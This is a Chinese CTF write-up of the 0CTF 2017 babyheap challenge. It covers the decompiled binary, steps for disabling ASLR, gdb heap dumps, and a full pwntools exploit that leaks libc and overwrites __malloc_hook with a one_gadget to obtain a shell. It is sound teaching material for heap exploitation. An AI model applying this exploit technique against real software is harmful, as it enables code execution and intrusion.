Free((__int64)addr);
break;
case 4uLL:
Dump((__int64)addr);
break;
case 5uLL:
return 0LL;
default:
continue;
}
}
}

主函数内容,包含菜单函数和四个堆功能函数

get_addr 函数(生成随机地址)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
char *get_addr()
{
int fd; // [rsp+4h] [rbp-3Ch]
char *addr; // [rsp+8h] [rbp-38h]
unsigned __int64 v3; // [rsp+10h] [rbp-30h]
__int64 buf[4]; // [rsp+20h] [rbp-20h] BYREF

buf[3] = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(_bss_start, 0LL, 2, 0LL);
alarm(60u);
puts("===== Baby Heap in 2017 =====");
fd = open("/dev/urandom", 0); // 调用系统文件生成随机数
if ( fd < 0 || read(fd, buf, 0x10uLL) != 16 )
exit(-1);
close(fd);
addr = (char *)((buf[0] % 0x555555543000uLL + 0x10000) & 0xFFFFFFFFFFFFF000LL);
v3 = (buf[1] % 0xE80uLL) & 0xFFFFFFFFFFFFFFF0LL;
if ( mmap(addr, 0x1000uLL, 3, 34, -1, 0LL) != addr )
exit(-1);
return &addr[v3]; // 利用生成的随机数来生成随机地址
}

​ 这个函数可以使程序堆块信息存放在随机地址中,而不是固定的地址,因此我们很难通过找到存放堆块信息的地址来修改其地址从而控制程序的流程。
​ 还需要提一句的是,这个函数有alarm函数,从程序运行60秒之后就会终止进程,如果不想在调试程序的时候被打断,可以对二进制文件进行patch。patch之后的可执行文件名为:babyheap_0ctf_2017_patch

返回的addr 指针 包含了 所有chunk 的 信息和 数据chunk 的指针

meau 函数

1
2
3
4
5
6
7
8
9
void __cdecl menu()
{
puts("1. Allocate");
puts("2. Fill");
puts("3. Free");
puts("4. Dump");
puts("5. Exit");
printf("Command: ");
}

打印菜单

Alloc 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall Allocate(__int64 a1)
{
int i; // [rsp+10h] [rbp-10h]
int size; // [rsp+14h] [rbp-Ch]
void *calloc_ptr; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(_DWORD *)(24LL * i + a1) )
{
printf("Size: ");
size = input();
if ( size > 0 )
{
if ( size > 4096 )
size = 4096;
calloc_ptr = calloc(size, 1uLL);
if ( !calloc_ptr )
exit(-1);
*(_DWORD *)(24LL * i + a1) = 1; //chunk_flag
*(_QWORD *)(a1 + 24LL * i + 8) = size; //chunk_size
*(_QWORD *)(a1 + 24LL * i + 16) = calloc_ptr; //chunk_data_ptr 指向calloc出来的chunk_data
printf("Allocate Index %d\n", (unsigned int)i);
}
return;
}
}
}

传入的参数地址是get_addr 随机生成的地址。allocate函数是来创建堆块的,申请chunk最大的大小为4096。

首先输入堆块的content_size,然后调用calloc函数根据输入的content_size大小来创建堆块,最后堆块的信息保存在get_addr指针所指向的地址中。需要注意的是堆块是由 calloc 分配的,所以 chunk 中的内容全都为\x00。
请注意,堆块的index是从0开始的
因此程序的结构体为:

●chunk_flag:用来判断堆块是否存在
●chunk_content_size:#记录content的大小
●chunk_data_ptr:指向calloc出来的chunk_data

Fill 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
void __fastcall Fill(__int64 a1)
{
signed int v1; // [rsp+18h] [rbp-8h]
int v2; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v1 = input();
if ( (unsigned int)v1 <= 0xF && *(_DWORD *)(24LL * v1 + a1) == 1 ) //判断序号是否正确,判断flag为 chunk 是否存在
{
printf("Size: ");
v2 = input(); //又让输出size,改写 chunk 数据部分的内容,存在溢出!!
if ( v2 > 0 )
{
printf("Content: ");
read_func2(*(_QWORD *)(24LL * v1 + a1 + 16), v2); //*(_QWORD *)(24LL * v1 + a1 + 16) == chunk_data
}
}
}

上图是Fill函数分伪代码,这个函数的功能比较有意思,漏洞也是存在这个函数中的。
在填充内容的功能中,调用input函数来输入堆块的大小,并没有设置字符串结尾。而且比较有意思的是,这次又让我们重新输入了content_size,但是程序并没有将原来结构体中的content_size更改。且执行这个函数之后allocate chunk时堆块的size域没有改变,所以这里就出现了任意堆溢出的情形。

Free 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
void __fastcall Free(__int64 a1)
{
signed int v1; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v1 = input();
if ( (unsigned int)v1 <= 0xF && *(_DWORD *)(24LL * v1 + a1) == 1 )
{
*(_DWORD *)(24LL * v1 + a1) = 0;
*(_QWORD *)(24LL * v1 + a1 + 8) = 0LL;
free(*(void **)(24LL * v1 + a1 + 16));
*(_QWORD *)(24LL * v1 + a1 + 16) = 0LL; // 指针置空
}
}

输入序号,释放chunk。将 flag 字段,size 字段清0,free了数据chunk的指针同时也清0,不存在uaf

Dump 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
void __fastcall Dump(__int64 a1)
{
signed int v1; // [rsp+1Ch] [rbp-4h]

printf("Index: ");
v1 = input();
if ( (unsigned int)v1 <= 0xF && *(_DWORD *)(24LL * v1 + a1) == 1 )
{
puts("Content: ");
write_func(*(_QWORD *)(24LL * v1 + a1 + 16), *(_QWORD *)(24LL * v1 + a1 + 8));
puts(byte_14F1);
}
}

输入序号,打印内容

gdb 动态调试

还记得之前get_addr这个函数吗?这个函数主要使用来生成随机地址,其中指针也存放在哪里。

关闭ASLR保护

由于这个程序开启了PIE保护,为了方便调试程序及查看堆内存,因此我们将Linux的ALSR(地址空间随机化)进行关闭。首先看一下ALSR开启的状态,可以使用下面的任意其中一种命令

1
2
3
4
5
6
7
8
9
10
11
ubuntu@ubuntu:~$ cat /proc/sys/kernel/randomize_va_space
2
ubuntu@ubuntu:~$ sysctl -a --pattern randomize
kernel.randomize_va_space = 2
ubuntu@ubuntu:~$

###
0 = 关闭
1 = 半随机。共享库、栈、mmap() 以及 VDSO 将被随机化。(PIE也会影响heap的随机化)
2 = 全随机。除了1中所述,还有heap。
###

现在关闭ASLR,关闭方法如下:
方法一: 手动修改randomize_va_space文件
上面介绍的randomize_va_space文件的枚举值含义,设置的值不同,linux内核加载程序的地址空间的策略就会不同。比较简单明了。这里0代表关闭ASLR。

1
2
3
echo 0 > /proc/sys/kernel/randomize_va_space
#注意,这里是先进root权限,后执行。
#重启之后会恢复默认

方法二: 使用sysctl控制ASLR

1
2
3
sysctl -w kernel.randomize_va_space=0
#重启之后将恢复默认
#如果需要永久保存配置,需要在配置文件 /etc/sysctl.conf 中增加这个选项。

方法三: 使用setarch控制单个程序的随机化
如果你想历史关闭单个程序的ASLR,使用setarch是很好的选择。setarch命令如其名,改变程序的运行架构环境,并可以自定义环境flag。

1
2
setarch `uname -m` -R ./your_program
#-R参数代表关闭地址空间随机化(开启ADDR_NO_RANDOMIZE)

方法四: 在GDB场景下,使用set disable-randomization off
在调试特定程序时,可以通过set disable-randomization命令开启或者关闭地址空间随机化。默认是关闭随机化的,也就是on状态。
当然,这里开启,关闭和查看的方法看起来就比较正规了。

1
2
3
4
5
6
关闭ASLR:
set disable-randomization on
开启ASLR:
set disable-randomization off
查看ASLR状态:
show disable-randomization

我们如何找到那个随机地址呢?通过多次对程序gdb调试,发现了一直变化的地址(此时的ASLR已关闭,参见下文章下面的内容),下面的代码框之中是两次gdb调试的内存分布:

Snipaste_2023-09-13_15-53-21.png

Snipaste_2023-09-13_15-54-08.png

通过对比发现,变动的只有第一行的地址:

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x40729d6e2000 0x40729d6e3000 rw-p 1000 0

​ 0x2dd727226000 0x2dd727227000 rw-p 1000 0

到这里,可以猜测一下,程序的指针应该也存放在这片内存区域中。
我们重新gdb调试,通过执行函数Allocate和fill,来看一下这片内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
giantbranch@ubuntu:/mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0c
tf_2017$ gdb babyheap_0ctf_2017
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from babyheap_0ctf_2017...(no debugging symbols found)...done.
pwndbg> r
Starting program: /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017
===== Baby Heap in 2017 =====
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 1
Size: 20
Allocate Index 0
1. Allocate
2. Fill
3. Free
4. Dump
5. Exit
Command: 2
Index: 0
Size: 40
Content: aaaaaaaaaaaaaaaaaa
^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b04360 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84 ../sysdeps/unix/syscall-template.S: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────
RAX 0xfffffffffffffe00
RBX 0x0
RCX 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
RDX 0x15
RDI 0x0
RSI 0x555555757023 ◂— 0x20fe10000000000
R8 0x7ffff7fdd700 ◂— 0x7ffff7fdd700
R9 0x9
R10 0x0
R11 0x246
R12 0x555555554a40 ◂— xor ebp, ebp
R13 0x7fffffffdd50 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7fffffffdc20 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc70 —▸ 0x5555555553e0 ◂— push r15
RSP 0x7fffffffdbf8 —▸ 0x5555555551fd ◂— mov qword ptr [rbp - 8], rax
RIP 0x7ffff7b04360 (__read_nocancel+7) ◂— cmp rax, -0xfff
────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
0x7ffff7b04360 <__read_nocancel+7> cmp rax, -0xfff
0x7ffff7b04366 <__read_nocancel+13> jae read+73 <0x7ffff7b04399>

0x7ffff7b04399 <read+73> mov rcx, qword ptr [rip + 0x2ccad8]
0x7ffff7b043a0 <read+80> neg eax
0x7ffff7b043a2 <read+82> mov dword ptr fs:[rcx], eax
0x7ffff7b043a5 <read+85> or rax, 0xffffffffffffffff
0x7ffff7b043a9 <read+89> ret

0x7ffff7b043aa nop word ptr [rax + rax]
0x7ffff7b043b0 <write> cmp dword ptr [rip + 0x2d2389], 0 <0x7ffff7dd6740>
0x7ffff7b043b7 <write+7> jne write+25 <0x7ffff7b043c9>

0x7ffff7b043c9 <write+25> sub rsp, 8
─────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────
00:0000│ rsp 0x7fffffffdbf8 —▸ 0x5555555551fd ◂— mov qword ptr [rbp - 8], rax
01:00080x7fffffffdc00 ◂— 0x28 /* '(' */
02:00100x7fffffffdc08 —▸ 0x555555757010 ◂— 0x6161616161616161 ('aaaaaaaa')
03:00180x7fffffffdc10 ◂— 0x13
... ↓
05:0028│ rbp 0x7fffffffdc20 —▸ 0x7fffffffdc50 —▸ 0x7fffffffdc70 —▸ 0x5555555553e0 ◂— push r15
06:00300x7fffffffdc28 —▸ 0x555555554f48 ◂— jmp 0x555555554f4e
07:00380x7fffffffdc30 ◂— 0x0
───────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────
► f 0 7ffff7b04360 __read_nocancel+7
f 1 5555555551fd
f 2 555555554f48
f 3 555555555188
f 4 7ffff7a2d840 __libc_start_main+240
Program received signal SIGINT
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x3b0326206000 0x3b0326207000 rw-p 1000 0
0x555555554000 0x555555556000 r-xp 2000 0 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017
0x555555755000 0x555555756000 r--p 1000 1000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017
0x555555756000 0x555555757000 rw-p 1000 2000 /mnt/hgfs/PWN题/Range/ctfshow/ctf-pwn-challenges/heap/fastbin-attack/babyheap_0ctf_2017/babyheap_0ctf_2017
0x555555757000 0x555555778000 rw-p 21000 0 [heap]
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7bcd000 0x7ffff7dcd000 ---p 200000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dcd000 0x7ffff7dd1000 r--p 4000 1c0000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd1000 0x7ffff7dd3000 rw-p 2000 1c4000 /lib/x86_64-linux-gnu/libc-2.23.so
0x7ffff7dd3000 0x7ffff7dd7000 rw-p 4000 0
0x7ffff7dd7000 0x7ffff7dfd000 r-xp 26000 0 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7fdc000 0x7ffff7fdf000 rw-p 3000 0
0x7ffff7ff7000 0x7ffff7ffa000 r--p 3000 0 [vvar]
0x7ffff7ffa000 0x7ffff7ffc000 r-xp 2000 0 [vdso]
0x7ffff7ffc000 0x7ffff7ffd000 r--p 1000 25000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffd000 0x7ffff7ffe000 rw-p 1000 26000 /lib/x86_64-linux-gnu/ld-2.23.so
0x7ffff7ffe000 0x7ffff7fff000 rw-p 1000 0
0x7ffffffde000 0x7ffffffff000 rw-p 21000 0 [stack]
0xffffffffff600000 0xffffffffff601000 r-xp 1000 0 [vsyscall]
pwndbg>

再看一下 0x3b0326206000 这片内存区域,确定是程序结构体中指针存放的位置,标注一下:

这里我重新调试了一个gdb

1
2
3
4
5
6
7
8
9
10
0xb422b6be0c0:	0x0000000000000000	0x0000000000000000
0xb422b6be0d0: 0x0000000000000001 0x0000000000000014
#chunk_flag #size
0xb422b6be0e0: 0x0000555555757010 0x0000000000000000
#chunk_data_ptr
0xb422b6be0f0: 0x0000000000000000 0x0000000000000000
0xb422b6be100: 0x0000000000000000 0x0000000000000000
0xb422b6be110: 0x0000000000000000 0x0000000000000000
0xb422b6be120: 0x0000000000000000 0x0000000000000000
0xb422b6be130: 0x0000000000000000 0x0000000000000000

exp 讲解

exp的主要内容如下:

exp来自@yichen师傅:https://www.yuque.com/hxfqg9/bin/bp97ri#sKWXZ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
#!/usr/bin/python
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = 'debug'
p = process('./babyheap_0ctf_2017_patch')
elf = ELF('./babyheap_0ctf_2017_patch')

#首先是定义的一些函数,对应着程序的功能
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()
def unsorted_offset_arena(idx):
word_bytes = context.word_size / 8
offset = 4 # lock
offset += 4 # flags
offset += word_bytes * 10 # offset fastbin
offset += word_bytes * 2 # top,last_remainder
offset += idx * 2 * word_bytes # idx
offset -= word_bytes * 2 # bin overlap
return offset

#首先申请4个fast chunk和1个small chunk
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4

#free两个,这时候会放到fastbins中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)

#这个时候我们去对index0进行fill操作,他就会把index2的指针的末位改成0x80,也就指向了index4
#解释一下,前面申请了4块0x10的,加上chunk的一些信息,合起来是0x80
#所以把那个末位改成0x80就指向了index4,这样chunk4就被放到了fastbins中
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

#然后再通过index3去进行写入,把index4的大小改成0x21
#这么做是因为当申请index4这块内存的时候,他会检查大小是不是fast chunk的范围内
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)

#改好index4的大小之后去申请两次,这样就把原来的fastbins中的给申请出来了
alloc(0x10)
alloc(0x10)

#申请成功之后index2就指向index4
#为了让index4能够被放到unsortedbins中,要把它的大小改回来
payload = p64(0)*3
payload += p64(0x91)
fill(3, payload)

#再申请一个防止index4与top chunk合并了
alloc(0x80)

#这时候free就会把index4放到unsorted中了
free(4)

#因为index2是指向index4的,所以直接把index2给dump一下就能拿到index4中前一部分的内容了
#main_arena与libc偏移为0x3c4b20(文末有工具算)
#再加上main_arena与unsortedbin的偏移,得到unsortedbins与libc的偏移
unsorted_offset_mainarena=unsorted_offset_arena(5)#这函数还不太明白
unsorted_addr=u64(dump(2)[:8].strip().ljust(8, "\x00"))
libc_base=unsorted_addr-0x3c4b20-unsorted_offset_mainarena
log.info("libc_base: "+hex(libc_base))
#此时因为fastbins中没有了,所以从unsortedbins中找
alloc(0x60)

#index2还是指向index4那个地方我们可以先释放index4
free(4)

#然后修改fd指针,通过index2往index4上写为malloc_hook,这样再次申请的时候会分配到这个地址
#但问题是我们去申请的时候会检查size是不是 fakefd + 8 == 当前fastbin的大小
#这个地址是main_arena-0x40+0xd,具体看后面图片解释
payload = p64(libc_base+0x3c4aed)
fill(2, payload)

#这时候再去申请两个,第一个是给前面free的index4,第二个就会分配到malloc_hook处
alloc(0x60)#index4
alloc(0x60)#index6

#然后往malloc_hook上写one_gadget的地址
payload = p8(0)*3
payload += p64(0)*2
payload += p64(libc_base+0x4527a)
fill(6, payload)

#再申请一下触发one_gadget
alloc(255)

p.interactive()

漏洞利用思路

从上面的内容可以看出,主要的漏洞是任意长度堆溢出。由于该程序几乎所有保护都开启了,所以我们必须要有一些泄漏才可以控制程序的流程。基本利用思路如下:

  • 利用 unsorted bin 地址泄漏 libc 基地址。(用unsortedbin的原因之后再说)
  • 利用 fastbin attack中的Arbitrary Alloc技术将chunk 分配到 malloc_hook 附近。

1. leak libc_addr

1-1 模仿程序功能

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def alloc(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def fill(idx, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvuntil("Size: ")
p.sendline(str(len(content)))
p.recvuntil("Content: ")
p.send(content)
def free(idx):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(idx))
def dump(idx):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(idx))
p.recvline()
return p.recvline()

这4个函数分别对应程序的四个主要功能,这里就不多说了。

1-2 申请 5个chunk

由于我们希望使用 unsorted bin 来泄漏 libc 基地址,所以必须要有 chunk 可以被链接到 unsorted bin 中,所以该 chunk 不能被回收到 fastbin chunk,也不能和 top chunk 相邻。因为后者在不是fastbin 的情况下,会被合并到 top chunk 中。具体设计如下:

1
2
3
4
5
alloc(0x10)#index0
alloc(0x10)#index1
alloc(0x10)#index2
alloc(0x10)#index3
alloc(0x80)#index4

执行完此payload之后的heap情况如下:

1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
......(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk

此时程序结构体中的情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98720:	0x0000000000000000	0x0000000000000000
0x5fcead98730: 0x0000000000000001 0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000001
#index1
0x5fcead98750: 0x0000000000000010 0x0000555555757030
0x5fcead98760: 0x0000000000000001 0x0000000000000010
#index2
0x5fcead98770: 0x0000555555757050 0x0000000000000001
#index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000001 0x0000000000000080
#index4
0x5fcead987a0: 0x0000555555757090 0x0000000000000000
0x5fcead987b0: 0x0000000000000000 0x0000000000000000

1-3 free创建的index1和index2

1
2
3
4
#free两个,这时候会放到fastbins中,而且因为是后进的,所以
#fastbin[0]->index2->index1->NULL
free(1)
free(2)

执行此部分payload,来看一下堆状况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000555555757020 0x0000000000000000
#fd指针指向index1的起始地址
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4
0x555555757090: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
.....(省略内容均为空)
pwndbg>

此时的bin和main_arena情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> bin
fastbins
0x20: 0x0000555555757020->0x555555757040 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty
pwndbg> x/16gx &main_arena
0x7ffff7dd1b20 <main_arena>: 0x0000000000000000 0x0000555555757040 #index2
0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b40 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b50 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b60 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd1b70 <main_arena+80>: 0x0000000000000000 0x0000555555757110 #top_chunk
0x7ffff7dd1b80 <main_arena+96>: 0x0000000000000000 0x00007ffff7dd1b78
0x7ffff7dd1b90 <main_arena+112>: 0x00007ffff7dd1b78 0x00007ffff7dd1b88
pwndbg>

程序的结构体状况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0x5fcead98730:	0x0000000000000001	0x0000000000000010
#index0
0x5fcead98740: 0x0000555555757010 0x0000000000000000
#index1(chunk_flag置零)
0x5fcead98750: 0x0000000000000000 0x0000000000000000
#chunk_content_size置零 #chunk_data_ptr置空
0x5fcead98760: 0x0000000000000000 0x0000000000000000
#index2(chunk_flag置零) #chunk_data_size置零
0x5fcead98770: 0x0000000000000000 0x0000000000000001
#chunk_data_ptr置空 #index3
0x5fcead98780: 0x0000000000000010 0x0000555555757070
0x5fcead98790: 0x0000000000000001 0x0000000000000080
#index4
0x5fcead987a0: 0x0000555555757090 0x0000000000000000
0x5fcead987b0: 0x0000000000000000 0x0000000000000000

1-4 对 index0 进行 fill 操作,溢出修改 index2 和 fd 指针

1
2
3
4
5
6
payload = p64(0)*3
payload += p64(0x21)
payload += p64(0)*3
payload += p64(0x21)
payload += p8(0x80)
fill(0, payload)

还记得上面提到的程序漏洞吗?
第一次执行Allocate函数时chunk_content_size是我们指定的,但是fill的时候并没有将新的chunk_content_size写入到结构体中,并且之前alloc chunk时指定的堆块size大小没有发生改变,所以这里就出现了任意堆溢出的情形。
这一小段payload的目的是:通过fill index0溢出修改index2的fd指针为index4的地址,此处的payload只用修改fd的最后一个字节为0x80即可。
执行payload之后的内存空间如下:

chunk2->fd已成功修改为chunk4的起始地址(这个起始地址是指向chunk header的)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
#payload从这里开始修改堆块内容
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2(fastbin)
0x555555757050: 0x0000555555757080 0x0000000000000000
#此处的fd指针已经被修改
--------------------------------------------------------------
执行payload前原来的内容为:
0x555555757050: 0x0000555555757020 0x0000000000000000
--------------------------------------------------------------
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(fastbin)
0x555555757090: 0x0000000000000000 0x0000000000000000
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
.....(省略内容均为空)
pwndbg>

1-5 对 index3 进行fill操作,将 index4 的大小修改为 0x21

1
2
3
4
5
#然后再通过index3去进行写入,把index4的大小改成0x21
#这么做是因为当申请index4这块内存的时候,他会检查大小是不是fastbin的范围内(请注意这点)
payload = p64(0)*3
payload += p64(0x21)
fill(3, payload)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
0x555555757000:	0x0000000000000000	0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2(fastbin)
0x555555757050: 0x0000555555757080 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000021 #index4(fastbin)
--------------------------------------------------------------
执行payload前原来的内容为:
0x555555757080: 0x0000000000000000 0x0000000000000091 #index4(fastbin)
--------------------------------------------------------------
.....(省略内容均为空)
0x555555757110: 0x0000000000000000 0x0000000000020ef1 #top_chunk
.....(省略内容均为空)
0x555555757180: 0x0000000000000000 0x0000000000000000
pwndbg>

再次强调,在申请fastbin中内存时,会检查被释放堆块的size(大小)是否在fastbin的范围内,如果不在,程序则异常退出,这有关于fastbin的机制。结构体状况未发生改变。

1-6 申请 index4

1
2
3
4
#改好index4的大小之后去申请两次,这样就把原来的fastbin中的给申请出来了
alloc(0x10)
alloc(0x10)
#申请成功之后index2就指向index4

首先是两个malloc,前面fastbin里一开始是两个chunk,分别为index2->index1,后来我们修改index2->fd为index4的地址,fastbin里变为

index2->index4。第一个malloc会先分配index2给我们(fastbin分配原则是LIFO即后进先出),第二个malloc会将index4分配给我们。
看一下堆:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x555555757000
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757020
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757040
Size: 0x21

Allocated chunk | PREV_INUSE
Addr: 0x555555757060
Size: 0x21

Allocated chunk
Addr: 0x555555757080
Size: 0x00

pwndbg>

此时的内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/50gx 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000021 #index0
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0000000000000000 0x0000000000000021 #index1
0x555555757030: 0x0000000000000000 0x0000000000000000
0x555555757040: 0x0000000000000000 0x0000000000000021 #index2
0x555555757050: 0x0000000000000000 0x0000000000000000
0x555555757060: 0x0000000000000000 0x0000000000000021 #index3
0x555555757070: 0x0000000000000000 0x0000000000000000
0x555555757080: 0x0000000000000000 0x0000000000000021 #index4
